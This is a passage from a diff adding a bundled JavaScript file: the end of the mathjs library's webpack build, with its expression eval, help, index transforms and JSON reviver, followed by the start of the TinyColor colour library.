[https://mathjs.org/docs/expressions/security.html](https://mathjs.org/docs/expressions/security.html) for more information. + * + * Syntax: + * + * math.eval(expr) + * math.eval(expr, scope) + * math.eval([expr1, expr2, expr3, ...]) + * math.eval([expr1, expr2, expr3, ...], scope) + * + * Example: + * + * math.eval('(2+3)/4') // 1.25 + * math.eval('sqrt(3^2 + 4^2)') // 5 + * math.eval('sqrt(-4)') // 2i + * math.eval(['a=3', 'b=4', 'a*b']) // [3, 4, 12] + * + * let scope = {a:3, b:4} + * math.eval('a * b', scope) // 12 + * + * See also: + * + * parse, compile + * + * @param {string | string[] | Matrix} expr The expression to be evaluated + * @param {Object} [scope] Scope to read/write variables + * @return {*} The result of the expression + * @throws {Error} + */ + + return typed('compile', { + 'string': function string(expr) { + var scope = {}; + return parse(expr).compile().eval(scope); + }, + 'string, Object': function stringObject(expr, scope) { + return parse(expr).compile().eval(scope); + }, + 'Array | Matrix': function ArrayMatrix(expr) { + var scope = {}; + return deepMap(expr, function (entry) { + return parse(entry).compile().eval(scope); + }); + }, + 'Array | Matrix, Object': function ArrayMatrixObject(expr, scope) { + return deepMap(expr, function (entry) { + return parse(entry).compile().eval(scope); + }); + } + }); +} + +exports.name = 'eval'; +exports.factory = factory; + +/***/ }), +/* 564 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var getSafeProperty = __webpack_require__(13).getSafeProperty; + +function factory(type, config, load, typed, math) { + var docs = load(__webpack_require__(155)); + /** + * Retrieve help on a function or data type. + * Help files are retrieved from the documentation in math.expression.docs. + * + * Syntax: + * + * math.help(search) + * + * Examples: + * + * console.log(math.help('sin').toString()) + * console.log(math.help(math.add).toString()) + * console.log(math.help(math.add).toJSON()) + * + * @param {Function | string | Object} search A function or function name + * for which to get help + * @return {Help} A help object + */ + + return typed('help', { + 'any': function any(search) { + var prop; + var name = search; + + if (typeof search !== 'string') { + for (prop in math) { + // search in functions and constants + if (math.hasOwnProperty(prop) && search === math[prop]) { + name = prop; + break; + } + } + /* TODO: implement help for data types + if (!text) { + // search data type + for (prop in math.type) { + if (math.type.hasOwnProperty(prop)) { + if (search === math.type[prop]) { + text = prop + break + } + } + } + } + */ + + } + + var doc = getSafeProperty(docs, name); + + if (!doc) { + throw new Error('No documentation found on "' + name + '"'); + } + + return new type.Help(doc); + } + }); +} + +exports.math = true; // request access to the math namespace as 5th argument of the factory function + +exports.name = 'help'; +exports.factory = factory; + +/***/ }), +/* 565 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(113), __webpack_require__(116), __webpack_require__(117), __webpack_require__(118), __webpack_require__(119), __webpack_require__(58), __webpack_require__(121), __webpack_require__(120), __webpack_require__(69), __webpack_require__(16), __webpack_require__(122), __webpack_require__(59), __webpack_require__(68), __webpack_require__(123), __webpack_require__(124), __webpack_require__(54), __webpack_require__(566)]; + +/***/ }), +/* 566 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + /** + * @constructor UpdateNode + */ + function UpdateNode() { + // TODO: deprecated since v3. Cleanup some day + throw new Error('UpdateNode is deprecated. Use AssignmentNode instead.'); + } + + return UpdateNode; +} + +exports.name = 'UpdateNode'; +exports.path = 'expression.node'; +exports.factory = factory; + +/***/ }), +/* 567 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(568), __webpack_require__(569), __webpack_require__(570), __webpack_require__(571), __webpack_require__(572), __webpack_require__(573), __webpack_require__(574), __webpack_require__(575), __webpack_require__(576), __webpack_require__(577), __webpack_require__(578), __webpack_require__(579), __webpack_require__(580), __webpack_require__(581), __webpack_require__(582), __webpack_require__(583)]; + +/***/ }), +/* 568 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var errorTransform = __webpack_require__(22).transform; +/** + * Attach a transform function to math.apply + * Adds a property transform containing the transform function. + * + * This transform changed the last `dim` parameter of function apply + * from one-based to zero based + */ + + +function factory(type, config, load, typed) { + var apply = load(__webpack_require__(96)); // @see: comment of concat itself + + return typed('apply', { + '...any': function any(args) { + // change dim from one-based to zero-based + var dim = args[1]; + + if (type.isNumber(dim)) { + args[1] = dim - 1; + } else if (type.isBigNumber(dim)) { + args[1] = dim.minus(1); + } + + try { + return apply.apply(null, args); + } catch (err) { + throw errorTransform(err); + } + } + }); +} + +exports.name = 'apply'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 569 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var errorTransform = __webpack_require__(22).transform; +/** + * Attach a transform function to matrix.column + * Adds a property transform containing the transform function. + * + * This transform changed the last `index` parameter of function column + * from zero-based to one-based + */ + + +function factory(type, config, load, typed) { + var column = load(__webpack_require__(143)); // @see: comment of column itself + + return typed('column', { + '...any': function any(args) { + // change last argument from zero-based to one-based + var lastIndex = args.length - 1; + var last = args[lastIndex]; + + if (type.isNumber(last)) { + args[lastIndex] = last - 1; + } + + try { + return column.apply(null, args); + } catch (err) { + throw errorTransform(err); + } + } + }); +} + +exports.name = 'column'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 570 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var errorTransform = __webpack_require__(22).transform; +/** + * Attach a transform function to math.range + * Adds a property transform containing the transform function. + * + * This transform changed the last `dim` parameter of function concat + * from one-based to zero based + */ + + +function factory(type, config, load, typed) { + var concat = load(__webpack_require__(78)); // @see: comment of concat itself + + return typed('concat', { + '...any': function any(args) { + // change last argument from one-based to zero-based + var lastIndex = args.length - 1; + var last = args[lastIndex]; + + if (type.isNumber(last)) { + args[lastIndex] = last - 1; + } else if (type.isBigNumber(last)) { + args[lastIndex] = last.minus(1); + } + + try { + return concat.apply(null, args); + } catch (err) { + throw errorTransform(err); + } + } + }); +} + +exports.name = 'concat'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 571 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var filter = __webpack_require__(2).filter; + +var filterRegExp = __webpack_require__(2).filterRegExp; + +var maxArgumentCount = __webpack_require__(36).maxArgumentCount; +/** + * Attach a transform function to math.filter + * Adds a property transform containing the transform function. + * + * This transform adds support for equations as test function for math.filter, + * so you can do something like 'filter([3, -2, 5], x > 0)'. + */ + + +function factory(type, config, load, typed) { + var compileInlineExpression = load(__webpack_require__(102)); + var matrix = load(__webpack_require__(0)); + + function filterTransform(args, math, scope) { + var x, callback; + + if (args[0]) { + x = args[0].compile().eval(scope); + } + + if (args[1]) { + if (type.isSymbolNode(args[1]) || type.isFunctionAssignmentNode(args[1])) { + // a function pointer, like filter([3, -2, 5], myTestFunction) + callback = args[1].compile().eval(scope); + } else { + // an expression like filter([3, -2, 5], x > 0) + callback = compileInlineExpression(args[1], math, scope); + } + } + + return filter(x, callback); + } + + filterTransform.rawArgs = true; // one based version of function filter + + var filter = typed('filter', { + 'Array, function': _filter, + 'Matrix, function': function MatrixFunction(x, test) { + return matrix(_filter(x.toArray(), test)); + }, + 'Array, RegExp': filterRegExp, + 'Matrix, RegExp': function MatrixRegExp(x, test) { + return matrix(filterRegExp(x.toArray(), test)); + } + }); + filter.toTex = undefined; // use default template + + return filterTransform; +} +/** + * Filter values in a callback given a callback function + * + * !!! Passes a one-based index !!! + * + * @param {Array} x + * @param {Function} callback + * @return {Array} Returns the filtered array + * @private + */ + + +function _filter(x, callback) { + // figure out what number of arguments the callback function expects + var args = maxArgumentCount(callback); + return filter(x, function (value, index, array) { + // invoke the callback function with the right number of arguments + if (args === 1) { + return callback(value); + } else if (args === 2) { + return callback(value, [index + 1]); + } else { + // 3 or -1 + return callback(value, [index + 1], array); + } + }); +} + +exports.name = 'filter'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 572 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var maxArgumentCount = __webpack_require__(36).maxArgumentCount; + +var forEach = __webpack_require__(2).forEach; +/** + * Attach a transform function to math.forEach + * Adds a property transform containing the transform function. + * + * This transform creates a one-based index instead of a zero-based index + */ + + +function factory(type, config, load, typed) { + var compileInlineExpression = load(__webpack_require__(102)); + + function forEachTransform(args, math, scope) { + var x, callback; + + if (args[0]) { + x = args[0].compile().eval(scope); + } + + if (args[1]) { + if (type.isSymbolNode(args[1]) || type.isFunctionAssignmentNode(args[1])) { + // a function pointer, like forEach([3, -2, 5], myTestFunction) + callback = args[1].compile().eval(scope); + } else { + // an expression like forEach([3, -2, 5], x > 0 ? callback1(x) : callback2(x) ) + callback = compileInlineExpression(args[1], math, scope); + } + } + + return _forEach(x, callback); + } + + forEachTransform.rawArgs = true; // one-based version of forEach + + var _forEach = typed('forEach', { + 'Array | Matrix, function': function ArrayMatrixFunction(array, callback) { + // figure out what number of arguments the callback function expects + var args = maxArgumentCount(callback); + + var recurse = function recurse(value, index) { + if (Array.isArray(value)) { + forEach(value, function (child, i) { + // we create a copy of the index array and append the new index value + recurse(child, index.concat(i + 1)); // one based index, hence i+1 + }); + } else { + // invoke the callback function with the right number of arguments + if (args === 1) { + callback(value); + } else if (args === 2) { + callback(value, index); + } else { + // 3 or -1 + callback(value, index, array); + } + } + }; + + recurse(array.valueOf(), []); // pass Array + } + }); + + return forEachTransform; +} + +exports.name = 'forEach'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 573 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Attach a transform function to math.index + * Adds a property transform containing the transform function. + * + * This transform creates a one-based index instead of a zero-based index + */ + +function factory(type, config, load) { + return function indexTransform() { + var args = []; + + for (var i = 0, ii = arguments.length; i < ii; i++) { + var arg = arguments[i]; // change from one-based to zero based, and convert BigNumber to number + + if (type.isRange(arg)) { + arg.start--; + arg.end -= arg.step > 0 ? 0 : 2; + } else if (arg && arg.isSet === true) { + arg = arg.map(function (v) { + return v - 1; + }); + } else if (type.isArray(arg) || type.isMatrix(arg)) { + arg = arg.map(function (v) { + return v - 1; + }); + } else if (type.isNumber(arg)) { + arg--; + } else if (type.isBigNumber(arg)) { + arg = arg.toNumber() - 1; + } else if (typeof arg === 'string') {// leave as is + } else { + throw new TypeError('Dimension must be an Array, Matrix, number, string, or Range'); + } + + args[i] = arg; + } + + var res = new type.Index(); + type.Index.apply(res, args); + return res; + }; +} + +exports.name = 'index'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 574 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var maxArgumentCount = __webpack_require__(36).maxArgumentCount; + +var map = __webpack_require__(2).map; +/** + * Attach a transform function to math.map + * Adds a property transform containing the transform function. + * + * This transform creates a one-based index instead of a zero-based index + */ + + +function factory(type, config, load, typed) { + var compileInlineExpression = load(__webpack_require__(102)); + var matrix = load(__webpack_require__(0)); + + function mapTransform(args, math, scope) { + var x, callback; + + if (args[0]) { + x = args[0].compile().eval(scope); + } + + if (args[1]) { + if (type.isSymbolNode(args[1]) || type.isFunctionAssignmentNode(args[1])) { + // a function pointer, like filter([3, -2, 5], myTestFunction) + callback = args[1].compile().eval(scope); + } else { + // an expression like filter([3, -2, 5], x > 0) + callback = compileInlineExpression(args[1], math, scope); + } + } + + return map(x, callback); + } + + mapTransform.rawArgs = true; // one-based version of map function + + var map = typed('map', { + 'Array, function': function ArrayFunction(x, callback) { + return _map(x, callback, x); + }, + 'Matrix, function': function MatrixFunction(x, callback) { + return matrix(_map(x.valueOf(), callback, x)); + } + }); + return mapTransform; +} +/** + * Map for a multi dimensional array. One-based indexes + * @param {Array} array + * @param {function} callback + * @param {Array} orig + * @return {Array} + * @private + */ + + +function _map(array, callback, orig) { + // figure out what number of arguments the callback function expects + var argsCount = maxArgumentCount(callback); + + function recurse(value, index) { + if (Array.isArray(value)) { + return map(value, function (child, i) { + // we create a copy of the index array and append the new index value + return recurse(child, index.concat(i + 1)); // one based index, hence i + 1 + }); + } else { + // invoke the (typed) callback function with the right number of arguments + if (argsCount === 1) { + return callback(value); + } else if (argsCount === 2) { + return callback(value, index); + } else { + // 3 or -1 + return callback(value, index, orig); + } + } + } + + return recurse(array, []); +} + +exports.name = 'map'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 575 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var errorTransform = __webpack_require__(22).transform; + +var isCollection = __webpack_require__(35); +/** + * Attach a transform function to math.max + * Adds a property transform containing the transform function. + * + * This transform changed the last `dim` parameter of function max + * from one-based to zero based + */ + + +function factory(type, config, load, typed) { + var max = load(__webpack_require__(98)); + return typed('max', { + '...any': function any(args) { + // change last argument dim from one-based to zero-based + if (args.length === 2 && isCollection(args[0])) { + var dim = args[1]; + + if (type.isNumber(dim)) { + args[1] = dim - 1; + } else if (type.isBigNumber(dim)) { + args[1] = dim.minus(1); + } + } + + try { + return max.apply(null, args); + } catch (err) { + throw errorTransform(err); + } + } + }); +} + +exports.name = 'max'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 576 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var errorTransform = __webpack_require__(22).transform; + +var isCollection = __webpack_require__(35); +/** + * Attach a transform function to math.mean + * Adds a property transform containing the transform function. + * + * This transform changed the last `dim` parameter of function mean + * from one-based to zero based + */ + + +function factory(type, config, load, typed) { + var mean = load(__webpack_require__(152)); + return typed('mean', { + '...any': function any(args) { + // change last argument dim from one-based to zero-based + if (args.length === 2 && isCollection(args[0])) { + var dim = args[1]; + + if (type.isNumber(dim)) { + args[1] = dim - 1; + } else if (type.isBigNumber(dim)) { + args[1] = dim.minus(1); + } + } + + try { + return mean.apply(null, args); + } catch (err) { + throw errorTransform(err); + } + } + }); +} + +exports.name = 'mean'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 577 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var errorTransform = __webpack_require__(22).transform; + +var isCollection = __webpack_require__(35); +/** + * Attach a transform function to math.min + * Adds a property transform containing the transform function. + * + * This transform changed the last `dim` parameter of function min + * from one-based to zero based + */ + + +function factory(type, config, load, typed) { + var min = load(__webpack_require__(153)); + return typed('min', { + '...any': function any(args) { + // change last argument dim from one-based to zero-based + if (args.length === 2 && isCollection(args[0])) { + var dim = args[1]; + + if (type.isNumber(dim)) { + args[1] = dim - 1; + } else if (type.isBigNumber(dim)) { + args[1] = dim.minus(1); + } + } + + try { + return min.apply(null, args); + } catch (err) { + throw errorTransform(err); + } + } + }); +} + +exports.name = 'min'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 578 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +/** + * Attach a transform function to math.range + * Adds a property transform containing the transform function. + * + * This transform creates a range which includes the end value + */ + +function factory(type, config, load, typed) { + var range = load(__webpack_require__(77)); + return typed('range', { + '...any': function any(args) { + var lastIndex = args.length - 1; + var last = args[lastIndex]; + + if (typeof last !== 'boolean') { + // append a parameter includeEnd=true + args.push(true); + } + + return range.apply(null, args); + } + }); +} + +exports.name = 'range'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 579 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var errorTransform = __webpack_require__(22).transform; + +var isCollection = __webpack_require__(35); +/** + * Attach a transform function to math.std + * Adds a property transform containing the transform function. + * + * This transform changed the `dim` parameter of function std + * from one-based to zero based + */ + + +function factory(type, config, load, typed) { + var std = load(__webpack_require__(154)); + return typed('std', { + '...any': function any(args) { + // change last argument dim from one-based to zero-based + if (args.length >= 2 && isCollection(args[0])) { + var dim = args[1]; + + if (type.isNumber(dim)) { + args[1] = dim - 1; + } else if (type.isBigNumber(dim)) { + args[1] = dim.minus(1); + } + } + + try { + return std.apply(null, args); + } catch (err) { + throw errorTransform(err); + } + } + }); +} + +exports.name = 'std'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 580 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var errorTransform = __webpack_require__(22).transform; +/** + * Attach a transform function to matrix.row + * Adds a property transform containing the transform function. + * + * This transform changed the last `index` parameter of function row + * from zero-based to one-based + */ + + +function factory(type, config, load, typed) { + var row = load(__webpack_require__(146)); // @see: comment of row itself + + return typed('row', { + '...any': function any(args) { + // change last argument from zero-based to one-based + var lastIndex = args.length - 1; + var last = args[lastIndex]; + + if (type.isNumber(last)) { + args[lastIndex] = last - 1; + } + + try { + return row.apply(null, args); + } catch (err) { + throw errorTransform(err); + } + } + }); +} + +exports.name = 'row'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 581 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var errorTransform = __webpack_require__(22).transform; +/** + * Attach a transform function to math.subset + * Adds a property transform containing the transform function. + * + * This transform creates a range which includes the end value + */ + + +function factory(type, config, load, typed) { + var subset = load(__webpack_require__(23)); + return typed('subset', { + '...any': function any(args) { + try { + return subset.apply(null, args); + } catch (err) { + throw errorTransform(err); + } + } + }); +} + +exports.name = 'subset'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 582 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var errorTransform = __webpack_require__(22).transform; + +var isCollection = __webpack_require__(35); +/** + * Attach a transform function to math.sum + * Adds a property transform containing the transform function. + * + * This transform changed the last `dim` parameter of function mean + * from one-based to zero based + */ + + +function factory(type, config, load, typed) { + var sum = load(__webpack_require__(99)); + return typed('sum', { + '...any': function any(args) { + // change last argument dim from one-based to zero-based + if (args.length === 2 && isCollection(args[0])) { + var dim = args[1]; + + if (type.isNumber(dim)) { + args[1] = dim - 1; + } else if (type.isBigNumber(dim)) { + args[1] = dim.minus(1); + } + } + + try { + return sum.apply(null, args); + } catch (err) { + throw errorTransform(err); + } + } + }); +} + +exports.name = 'sum'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 583 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var errorTransform = __webpack_require__(22).transform; + +var isCollection = __webpack_require__(35); +/** + * Attach a transform function to math.var + * Adds a property transform containing the transform function. + * + * This transform changed the `dim` parameter of function var + * from one-based to zero based + */ + + +function factory(type, config, load, typed) { + var variance = load(__webpack_require__(101)); + return typed('var', { + '...any': function any(args) { + // change last argument dim from one-based to zero-based + if (args.length >= 2 && isCollection(args[0])) { + var dim = args[1]; + + if (type.isNumber(dim)) { + args[1] = dim - 1; + } else if (type.isBigNumber(dim)) { + args[1] = dim.minus(1); + } + } + + try { + return variance.apply(null, args); + } catch (err) { + throw errorTransform(err); + } + } + }); +} + +exports.name = 'var'; +exports.path = 'expression.transform'; +exports.factory = factory; + +/***/ }), +/* 584 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var object = __webpack_require__(5); + +var string = __webpack_require__(9); + +function factory(type, config, load, typed) { + var parser = load(__webpack_require__(158))(); + /** + * Documentation object + * @param {Object} doc Object containing properties: + * {string} name + * {string} category + * {string} description + * {string[]} syntax + * {string[]} examples + * {string[]} seealso + * @constructor + */ + + function Help(doc) { + if (!(this instanceof Help)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + + if (!doc) throw new Error('Argument "doc" missing'); + this.doc = doc; + } + /** + * Attach type information + */ + + + Help.prototype.type = 'Help'; + Help.prototype.isHelp = true; + /** + * Generate a string representation of the Help object + * @return {string} Returns a string + * @private + */ + + Help.prototype.toString = function () { + var doc = this.doc || {}; + var desc = '\n'; + + if (doc.name) { + desc += 'Name: ' + doc.name + '\n\n'; + } + + if (doc.category) { + desc += 'Category: ' + doc.category + '\n\n'; + } + + if (doc.description) { + desc += 'Description:\n ' + doc.description + '\n\n'; + } + + if (doc.syntax) { + desc += 'Syntax:\n ' + doc.syntax.join('\n ') + '\n\n'; + } + + if (doc.examples) { + desc += 'Examples:\n'; + + for (var i = 0; i < doc.examples.length; i++) { + var expr = doc.examples[i]; + desc += ' ' + expr + '\n'; + var res = void 0; + + try { + // note: res can be undefined when `expr` is an empty string + res = parser.eval(expr); + } catch (e) { + res = e; + } + + if (res !== undefined && !type.isHelp(res)) { + desc += ' ' + string.format(res, { + precision: 14 + }) + '\n'; + } + } + + desc += '\n'; + } + + if (doc.seealso && doc.seealso.length) { + desc += 'See also: ' + doc.seealso.join(', ') + '\n'; + } + + return desc; + }; + /** + * Export the help object to JSON + */ + + + Help.prototype.toJSON = function () { + var obj = object.clone(this.doc); + obj.mathjs = 'Help'; + return obj; + }; + /** + * Instantiate a Help object from a JSON object + * @param {Object} json + * @returns {Help} Returns a new Help object + */ + + + Help.fromJSON = function (json) { + var doc = {}; + + for (var prop in json) { + if (prop !== 'mathjs') { + // ignore mathjs field + doc[prop] = json[prop]; + } + } + + return new Help(doc); + }; + /** + * Returns a string representation of the Help object + */ + + + Help.prototype.valueOf = Help.prototype.toString; + return Help; +} + +exports.name = 'Help'; +exports.path = 'type'; +exports.factory = factory; + +/***/ }), +/* 585 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(586)]; + +/***/ }), +/* 586 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed, math) { + /** + * Instantiate mathjs data types from their JSON representation + * @param {string} key + * @param {*} value + * @returns {*} Returns the revived object + */ + return function reviver(key, value) { + var constructor = type[value && value.mathjs] || math.expression && math.expression.node[value && value.mathjs]; // TODO: instead of checking math.expression.node, expose all Node classes on math.type too + + if (constructor && typeof constructor.fromJSON === 'function') { + return constructor.fromJSON(value); + } + + return value; + }; +} + +exports.name = 'reviver'; +exports.path = 'json'; +exports.factory = factory; +exports.math = true; // request the math namespace as fifth argument + +/***/ }), +/* 587 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var ArgumentsError = __webpack_require__(57); + +var DimensionError = __webpack_require__(8); + +var IndexError = __webpack_require__(48); + +module.exports = [{ + name: 'ArgumentsError', + path: 'error', + factory: function factory() { + return ArgumentsError; + } +}, { + name: 'DimensionError', + path: 'error', + factory: function factory() { + return DimensionError; + } +}, { + name: 'IndexError', + path: 'error', + factory: function factory() { + return IndexError; + } +}]; // TODO: implement an InvalidValueError? + +/***/ }) +/******/ ]); +}); +;// TinyColor v1.4.1 +// https://github.com/bgrins/TinyColor +// Brian Grinstead, MIT License + +(function(Math) { + +var trimLeft = /^\s+/, + trimRight = /\s+$/, + tinyCounter = 0, + mathRound = Math.round, + mathMin = Math.min, + mathMax = Math.max, + mathRandom = Math.random; + +function tinycolor (color, opts) { + + color = (color) ? color : ''; + opts = opts || { }; + + // If input is already a tinycolor, return itself + if (color instanceof tinycolor) { + return color; + } + // If we are called as a function, call using new instead + if (!(this instanceof tinycolor)) { + return new tinycolor(color, opts); + } + + var rgb = inputToRGB(color); + this._originalInput = color, + this._r = rgb.r, + this._g = rgb.g, + this._b = rgb.b, + this._a = rgb.a, + this._roundA = mathRound(100*this._a) / 100, + this._format = opts.format || rgb.format; + this._gradientType = opts.gradientType; + + // Don't let the range of [0,255] come back in [0,1]. + // Potentially lose a little bit of precision here, but will fix issues where + // .5 gets interpreted as half of the total, instead of half of 1 + // If it was supposed to be 128, this was already taken care of by `inputToRgb` + if (this._r < 1) { this._r = mathRound(this._r); } + if (this._g < 1) { this._g = mathRound(this._g); } + if (this._b < 1) { this._b = mathRound(this._b); } + + this._ok = rgb.ok; + this._tc_id = tinyCounter++; +} + +tinycolor.prototype = { + isDark: function() { + return this.getBrightness() < 128; + }, + isLight: function() { + return !this.isDark(); + }, + isValid: function() { + return this._ok; + }, + getOriginalInput: function() { + return this._originalInput; + }, + getFormat: function() { + return this._format; + }, + getAlpha: function() { + return this._a; + }, + getBrightness: function() { + //http://www.w3.org/TR/AERT#color-contrast + var rgb = this.toRgb(); + return (rgb.r * 299 + rgb.g * 587 + rgb.b * 114) / 1000; + }, + getLuminance: function() { + //http://www.w3.org/TR/2008/REC-WCAG20-20081211/#relativeluminancedef + var rgb = this.toRgb(); + var RsRGB, GsRGB, BsRGB, R, G, B; + RsRGB = rgb.r/255; + GsRGB = rgb.g/255; + BsRGB = rgb.b/255; + + if (RsRGB <= 0.03928) {R = RsRGB / 12.92;} else {R = Math.pow(((RsRGB + 0.055) / 1.055), 2.4);} + if (GsRGB <= 0.03928) {G = GsRGB / 12.92;} else {G = Math.pow(((GsRGB + 0.055) / 1.055), 2.4);} + if (BsRGB <= 0.03928) {B = BsRGB / 12.92;} else {B = Math.pow(((BsRGB + 0.055) / 1.055), 2.4);} + return (0.2126 * R) + (0.7152 * G) + (0.0722 * B); + }, + setAlpha: function(value) { + this._a = boundAlpha(value); + this._roundA = mathRound(100*this._a) / 100; + return this; + }, + toHsv: function() { + var hsv = rgbToHsv(this._r, this._g, this._b); + return { h: hsv.h * 360, s: hsv.s, v: hsv.v, a: this._a }; + }, + toHsvString: function() { + var hsv = rgbToHsv(this._r, this._g, this._b); + var h = mathRound(hsv.h * 360), s = mathRound(hsv.s * 100), v = mathRound(hsv.v * 100); + return (this._a == 1) ? + "hsv(" + h + ", " + s + "%, " + v + "%)" : + "hsva(" + h + ", " + s + "%, " + v + "%, "+ this._roundA + ")"; + }, + toHsl: function() { + var hsl = rgbToHsl(this._r, this._g, this._b); + return { h: hsl.h * 360, s: hsl.s, l: hsl.l, a: this._a }; + }, + toHslString: function() { + var hsl = rgbToHsl(this._r, this._g, this._b); + var h = mathRound(hsl.h * 360), s = mathRound(hsl.s * 100), l = mathRound(hsl.l * 100); + return (this._a == 1) ? + "hsl(" + h + ", " + s + "%, " + l + "%)" : + "hsla(" + h + ", " + s + "%, " + l + "%, "+ this._roundA + ")"; + }, + toHex: function(allow3Char) { + return rgbToHex(this._r, this._g, this._b, allow3Char); + }, + toHexString: function(allow3Char) { + return '#' + this.toHex(allow3Char); + }, + toHex8: function(allow4Char) { + return rgbaToHex(this._r, this._g, this._b, this._a, allow4Char); + }, + toHex8String: function(allow4Char) { + return '#' + this.toHex8(allow4Char); + }, + toRgb: function() { + return { r: mathRound(this._r), g: mathRound(this._g), b: mathRound(this._b), a: this._a }; + }, + toRgbString: function() { + return (this._a == 1) ? + "rgb(" + mathRound(this._r) + ", " + mathRound(this._g) + ", " + mathRound(this._b) + ")" : + "rgba(" + mathRound(this._r) + ", " + mathRound(this._g) + ", " + mathRound(this._b) + ", " + this._roundA + ")"; + }, + toPercentageRgb: function() { + return { r: mathRound(bound01(this._r, 255) * 100) + "%", g: mathRound(bound01(this._g, 255) * 100) + "%", b: mathRound(bound01(this._b, 255) * 100) + "%", a: this._a }; + }, + toPercentageRgbString: function() { + return (this._a == 1) ? + "rgb(" + mathRound(bound01(this._r, 255) * 100) + "%, " + mathRound(bound01(this._g, 255) * 100) + "%, " + mathRound(bound01(this._b, 255) * 100) + "%)" : + "rgba(" + mathRound(bound01(this._r, 255) * 100) + "%, " + mathRound(bound01(this._g, 255) * 100) + "%, " + mathRound(bound01(this._b, 255) * 100) + "%, " + this._roundA + ")"; + }, + toName: function() { + if (this._a === 0) { + return "transparent"; + } + + if (this._a < 1) { + return false; + } + + return hexNames[rgbToHex(this._r, this._g, this._b, true)] || false; + }, + toFilter: function(secondColor) { + var hex8String = '#' + rgbaToArgbHex(this._r, this._g, this._b, this._a); + var secondHex8String = hex8String; + var gradientType = this._gradientType ? "GradientType = 1, " : ""; + + if (secondColor) { + var s = tinycolor(secondColor); + secondHex8String = '#' + rgbaToArgbHex(s._r, s._g, s._b, s._a); + } + + return "progid:DXImageTransform.Microsoft.gradient("+gradientType+"startColorstr="+hex8String+",endColorstr="+secondHex8String+")"; + }, + toString: function(format) { + var formatSet = !!format; + format = format || this._format; + + var formattedString = false; + var hasAlpha = this._a < 1 && this._a >= 0; + var needsAlphaFormat = !formatSet && hasAlpha && (format === "hex" || format === "hex6" || format === "hex3" || format === "hex4" || format === "hex8" || format === "name"); + + if (needsAlphaFormat) { + // Special case for "transparent", all other non-alpha formats + // will return rgba when there is transparency. + if (format === "name" && this._a === 0) { + return this.toName(); + } + return this.toRgbString(); + } + if (format === "rgb") { + formattedString = this.toRgbString(); + } + if (format === "prgb") { + formattedString = this.toPercentageRgbString(); + } + if (format === "hex" || format === "hex6") { + formattedString = this.toHexString(); + } + if (format === "hex3") { + formattedString = this.toHexString(true); + } + if (format === "hex4") { + formattedString = this.toHex8String(true); + } + if (format === "hex8") { + formattedString = this.toHex8String(); + } + if (format === "name") { + formattedString = this.toName(); + } + if (format === "hsl") { + formattedString = this.toHslString(); + } + if (format === "hsv") { + formattedString = this.toHsvString(); + } + + return formattedString || this.toHexString(); + }, + clone: function() { + return tinycolor(this.toString()); + }, + + _applyModification: function(fn, args) { + var color = fn.apply(null, [this].concat([].slice.call(args))); + this._r = color._r; + this._g = color._g; + this._b = color._b; + this.setAlpha(color._a); + return this; + }, + lighten: function() { + return this._applyModification(lighten, arguments); + }, + brighten: function() { + return this._applyModification(brighten, arguments); + }, + darken: function() { + return this._applyModification(darken, arguments); + }, + desaturate: function() { + return this._applyModification(desaturate, arguments); + }, + saturate: function() { + return this._applyModification(saturate, arguments); + }, + greyscale: function() { + return this._applyModification(greyscale, arguments); + }, + spin: function() { + return this._applyModification(spin, arguments); + }, + + _applyCombination: function(fn, args) { + return fn.apply(null, [this].concat([].slice.call(args))); + }, + analogous: function() { + return this._applyCombination(analogous, arguments); + }, + complement: function() { + return this._applyCombination(complement, arguments); + }, + monochromatic: function() { + return this._applyCombination(monochromatic, arguments); + }, + splitcomplement: function() { + return this._applyCombination(splitcomplement, arguments); + }, + triad: function() { + return 